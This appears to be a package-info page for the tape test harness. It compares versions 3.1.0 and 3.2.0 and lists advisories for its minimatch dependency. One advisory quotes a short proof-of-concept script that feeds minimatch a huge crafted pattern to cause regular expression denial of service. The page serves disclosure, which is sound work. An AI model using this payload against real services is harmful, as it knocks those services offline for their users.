Tape is a simple and effective TAP-producing test harness for Node.js and browsers, designed for ease of use and clear, concise output. Examining versions 3.1.0 and 3.2.0 reveals minimal functional differences from a developer's perspective, suggesting the update was likely focused on internal improvements or bug fixes rather than introducing new features. Both versions share the same core dependencies, including glob for file system matching, defined and resumer for stream handling, through for simplified stream transformations, inherits for prototypical inheritance, deep-equal for robust object comparison, and object-inspect for detailed object inspection during testing. Their development dependencies, tap for running TAP-formatted tests, falafel for static analysis, and concat-stream for efficient stream concatenation, are also identical.
The significant change between the two versions is the releaseDate, with version 3.2.0 released shortly after 3.1.0. This quick iteration cycle indicates a swift resolution of issues or perhaps minor enhancements that didn't necessitate alterations in the core API or dependency structure. For developers already using Tape, upgrading from 3.1.0 to 3.2.0 is likely a safe and recommended practice to benefit from any underlying fixes or performance tweaks. New users can confidently adopt either version, knowing they offer a stable and well-supported testing environment. Always refer to the official changelog or repository for the most precise details of specific changes in each release.
All the vulnerabilities related to the version 3.2.0 of the package
Regular Expression Denial of Service in minimatch
Affected versions of minimatch
are vulnerable to regular expression denial of service attacks when user input is passed into the pattern
argument of minimatch(path, pattern)
.
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.